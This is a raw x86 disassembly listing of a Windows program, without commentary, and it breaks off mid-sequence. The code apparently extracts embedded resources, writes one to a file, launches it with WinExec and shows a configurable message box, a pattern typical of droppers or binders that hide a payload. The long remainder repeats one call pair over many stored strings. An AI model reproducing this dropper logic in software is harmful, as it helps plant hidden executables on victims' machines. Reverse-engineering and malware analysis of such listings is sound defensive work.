call fcn.1314e92c
push esi
call sub.kernel32.dll_LockResource
mov dword [0x1315ae48], eax
call fcn.1314e92c
push ebx
mov eax, dword [0x1315ae2c]
push eax
call sub.kernel32.dll_SizeofResource
mov ebx, eax
call fcn.1314e92c
push 0x1315ae24
lea eax, [ebp - 0x128]
mov edx, dword [0x1315ae48]
call fcn.13144648
mov eax, dword [ebp - 0x128]
mov ecx, ebx
mov edx, 1
call fcn.1314494c
call fcn.1314e92c
push 0x13156a2c
push 1
mov eax, dword [0x1315ae2c]
push eax
call sub.kernel32.dll_FindResourceA
mov ebx, eax
call fcn.1314e92c
push ebx
mov eax, dword [0x1315ae2c]
push eax
call sub.kernel32.dll_LoadResource
mov esi, eax
call fcn.1314e92c
push esi
call sub.kernel32.dll_LockResource
mov dword [0x1315ae48], eax
call fcn.1314e92c
push ebx
mov eax, dword [0x1315ae2c]
push eax
call sub.kernel32.dll_SizeofResource
mov ebx, eax
call fcn.1314e92c
push 0
push 0x80
push 2
push 0
push 2
push 0x40000000
push dword [0x1315ae20]
push 0x13156a3c
push dword [0x1315ae24]
lea eax, [ebp - 0x12c]
mov edx, 3
call fcn.131447ac
mov eax, dword [ebp - 0x12c]
call fcn.131448ec
push eax
call sub.kernel32.dll_CreateFileA_1
mov esi, eax
call fcn.1314e92c
push 0
push 0x1315ae3c
push ebx
mov eax, dword [0x1315ae48]
push eax
push esi
call sub.kernel32.dll_WriteFile_1
call fcn.1314e92c
push esi
call sub.kernel32.dll_CloseHandle_1
call fcn.1314e92c
push 5
push dword [0x1315ae20]
push 0x13156a3c
push dword [0x1315ae24]
lea eax, [ebp - 0x130]
mov edx, 3
call fcn.131447ac
mov eax, dword [ebp - 0x130]
call fcn.131448ec
push eax
call sub.kernel32.dll_WinExec
call fcn.1314e92c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x1315006b
call fcn.1314e92c
call fcn.1314e92c
push 0x101
push 0x1315ace8
call sub.kernel32.dll_GetWindowsDirectoryA
call fcn.1314e92c
mov dword [0x1315adec], 0x1315ace8
call fcn.1314e92c
mov eax, 0x1315ae00
mov edx, dword [0x1315adec]
call fcn.13144648
call fcn.1314e92c
lea eax, [ebp - 0x13c]
push eax
mov ecx, 3
xor edx, edx
mov eax, dword [0x1315ae00]
call fcn.1314494c
push dword [ebp - 0x13c]
push dword [0x1315ae6c]
push 0x13156a48
push dword [0x1315ae70]
push 0x13156a58
lea eax, [ebp - 0x138]
mov edx, 5
call fcn.131447ac
mov eax, dword [ebp - 0x138]
call fcn.131448ec
mov edx, eax
lea eax, [ebp - 0x134]
call fcn.13144648
mov eax, dword [ebp - 0x134]
call fcn.1314be30
test al, al
je 0x13150122
jmp 0x13154563
mov eax, dword [0x1315aebc]
mov edx, 0x13156a20
call fcn.13144838
jne 0x1315040a
lea edx, [ebp - 0x140]
mov eax, 0x131569ac
call fcn.1314c4a8
mov eax, dword [ebp - 0x140]
call fcn.131448ec
push eax
push 0x17
mov eax, dword [0x1315ae2c]
push eax
call sub.kernel32.dll_FindResourceA
mov ebx, eax
call fcn.1314e92c
push ebx
mov eax, dword [0x1315ae2c]
push eax
call sub.kernel32.dll_LoadResource
mov esi, eax
call fcn.1314e92c
push esi
call sub.kernel32.dll_LockResource
mov dword [0x1315ae48], eax
call fcn.1314e92c
push ebx
mov eax, dword [0x1315ae2c]
push eax
call sub.kernel32.dll_SizeofResource
mov ebx, eax
call fcn.1314e92c
push 0x1315aec4
lea eax, [ebp - 0x144]
mov edx, dword [0x1315ae48]
call fcn.13144648
mov eax, dword [ebp - 0x144]
mov ecx, ebx
mov edx, 1
call fcn.1314494c
call fcn.1314e92c
lea edx, [ebp - 0x148]
mov eax, 0x131569ac
call fcn.1314c4a8
mov eax, dword [ebp - 0x148]
call fcn.131448ec
push eax
push 0x18
mov eax, dword [0x1315ae2c]
push eax
call sub.kernel32.dll_FindResourceA
mov ebx, eax
call fcn.1314e92c
push ebx
mov eax, dword [0x1315ae2c]
push eax
call sub.kernel32.dll_LoadResource
mov esi, eax
call fcn.1314e92c
push esi
call sub.kernel32.dll_LockResource
mov dword [0x1315ae48], eax
call fcn.1314e92c
push ebx
mov eax, dword [0x1315ae2c]
push eax
call sub.kernel32.dll_SizeofResource
mov ebx, eax
call fcn.1314e92c
push 0x1315aec8
lea eax, [ebp - 0x14c]
mov edx, dword [0x1315ae48]
call fcn.13144648
mov eax, dword [ebp - 0x14c]
mov ecx, ebx
mov edx, 1
call fcn.1314494c
call fcn.1314e92c
lea edx, [ebp - 0x150]
mov eax, 0x131569ac
call fcn.1314c4a8
mov eax, dword [ebp - 0x150]
call fcn.131448ec
push eax
push 0x19
mov eax, dword [0x1315ae2c]
push eax
call sub.kernel32.dll_FindResourceA
mov ebx, eax
call fcn.1314e92c
push ebx
mov eax, dword [0x1315ae2c]
push eax
call sub.kernel32.dll_LoadResource
mov esi, eax
call fcn.1314e92c
push esi
call sub.kernel32.dll_LockResource
mov dword [0x1315ae48], eax
call fcn.1314e92c
push ebx
mov eax, dword [0x1315ae2c]
push eax
call sub.kernel32.dll_SizeofResource
mov ebx, eax
call fcn.1314e92c
push 0x1315aecc
lea eax, [ebp - 0x154]
mov edx, dword [0x1315ae48]
call fcn.13144648
mov eax, dword [ebp - 0x154]
mov ecx, ebx
mov edx, 1
call fcn.1314494c
call fcn.1314e92c
cmp dword [0x1315aecc], 0
jne 0x1315031d
push 0
mov eax, dword [0x1315aec8]
call fcn.131448ec
push eax
mov eax, dword [0x1315aec4]
call fcn.131448ec
push eax
push 0
call sub.user32.dll_MessageBoxA_1
call fcn.1314e92c
call fcn.1314e92c
mov eax, dword [0x1315aecc]
mov edx, 0x13156a68
call fcn.13144838
jne 0x13150357
push 0x10
mov eax, dword [0x1315aec8]
call fcn.131448ec
push eax
mov eax, dword [0x1315aec4]
call fcn.131448ec
push eax
push 0
call sub.user32.dll_MessageBoxA_1
call fcn.1314e92c
call fcn.1314e92c
mov eax, dword [0x1315aecc]
mov edx, 0x13156a78
call fcn.13144838
jne 0x13150391
push 0x20
mov eax, dword [0x1315aec8]
call fcn.131448ec
push eax
mov eax, dword [0x1315aec4]
call fcn.131448ec
push eax
push 0
call sub.user32.dll_MessageBoxA_1
call fcn.1314e92c
call fcn.1314e92c
mov eax, dword [0x1315aecc]
mov edx, 0x13156a8c
call fcn.13144838
jne 0x131503cb
push 0x30
mov eax, dword [0x1315aec8]
call fcn.131448ec
push eax
mov eax, dword [0x1315aec4]
call fcn.131448ec
push eax
push 0
call sub.user32.dll_MessageBoxA_1
call fcn.1314e92c
call fcn.1314e92c
mov eax, dword [0x1315aecc]
mov edx, 0x13156aa0
call fcn.13144838
jne 0x13150405
push 0x40
mov eax, dword [0x1315aec8]
call fcn.131448ec
push eax
mov eax, dword [0x1315aec4]
call fcn.131448ec
push eax
push 0
call sub.user32.dll_MessageBoxA_1
call fcn.1314e92c
call fcn.1314e92c
call fcn.1314e92c
call fcn.1314e92c
mov eax, dword [0x1315ae80]
mov edx, 0x13156a20
call fcn.13144838
jne 0x13152aac
xor eax, eax
push ebp
push 0x13152a9d
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, 0x13156aac
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13156ab8
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13156ac4
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13156ad0
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13156ae0
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13156af0
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13156b00
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13156b08
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13156b14
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13156b24
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13156b34
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13156b40
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13156b4c
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13156b5c
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13156b70
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13156b7c
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13156b8c
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13156b98
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13156ba8
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13156bb8
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13156bc8
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13156bd8
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13156be4
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13156bf0
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13156bf8
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13156c04
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13156c14
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13156c20
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13156c30
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13156c40
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13156c50
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13156c60
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13156c6c
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13156c78
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13156c84
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13156c90
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13156ca0
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13156cb8
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13156cc4
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13156cd0
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13156cdc
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13156cec
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13156cf8
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13156d08
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13156d14
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13156d1c
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13156d28
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13156d34
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13156d48
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13156d58
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13156d68
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13156d74
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13156d80
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13156d8c
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13156d9c
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13156da8
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13156db4
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13156dc0
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13156dd0
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13156de0
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13156df0
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13156e00
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13156e0c
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13156e18
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13156e28
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13156e34
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13156e40
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13156e4c
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13156e60
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13156e74
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13156e80
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13156e8c
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13156e98
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13156ea4
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13156eb0
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13156ec4
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13156ed0
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13156ee0
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13156eec
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13156ef8
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13156f04
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13156f14
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13156f28
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13156f38
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13156f44
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13156f50
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13156f60
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13156f6c
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13156f7c
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13156f8c
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13156f9c
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13156fac
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13156fbc
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13156fc4
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13156fd4
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13156fe4
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13156ff0
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157000
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x1315700c
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x1315701c
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157028
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157034
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157044
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157050
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157060
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x1315706c
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157078
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157090
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x1315709c
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131570a4
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131570b4
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131570c0
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131570d0
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131570dc
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131570e8
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131570f8
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157108
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157114
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157120
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157128
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157138
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157144
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157150
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x1315715c
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x1315716c
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157178
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157184
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157190
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131571a0
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131571b0
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131571c0
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131571d0
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131571e0
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131571ec
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157204
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157210
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157220
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x1315722c
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x1315723c
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x1315724c
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x1315725c
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157268
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157274
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157280
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x1315728c
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x1315729c
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131572ac
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131572b8
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131572cc
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131572d8
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131572e4
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131572f8
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157304
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x1315730c
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157318
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157324
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157330
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x1315733c
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157348
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157354
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157360
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x1315736c
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157378
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157384
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157390
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x1315739c
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131573ac
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131573bc
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131573c8
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131573d8
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131573f0
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131573f8
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157404
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157410
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157420
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x1315742c
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157438
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157448
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157458
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157464
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157474
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157484
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157490
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x1315749c
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131574ac
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131574b8
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131574c4
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131574d0
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131574dc
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131574e8
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131574f4
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157500
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157508
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157514
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157524
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157534
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157540
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157550
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157560
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157574
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157580
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x1315758c
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x1315759c
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131575a8
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131575b4
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131575c0
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131575d0
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131575e0
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131575f4
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157600
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157610
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x1315761c
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x1315762c
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x1315763c
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157648
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157654
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157660
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x1315766c
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157674
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157680
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157690
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131576a0
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131576ac
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131576bc
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131576c8
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131576d4
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131576e4
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131576f0
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131576fc
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x1315770c
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157714
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157728
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157734
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157744
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157750
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157760
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157770
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157788
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157794
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131577a8
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131577b4
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131577c0
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131577cc
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131577d8
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131577e4
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131577f0
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131577fc
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157808
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157818
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157828
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157834
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157844
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157854
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157860
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x1315786c
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157878
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157888
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x13157898
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131578b0
call fcn.13149664
call fcn.1314bd08
call fcn.1314e92c
mov eax, 0x131578bc
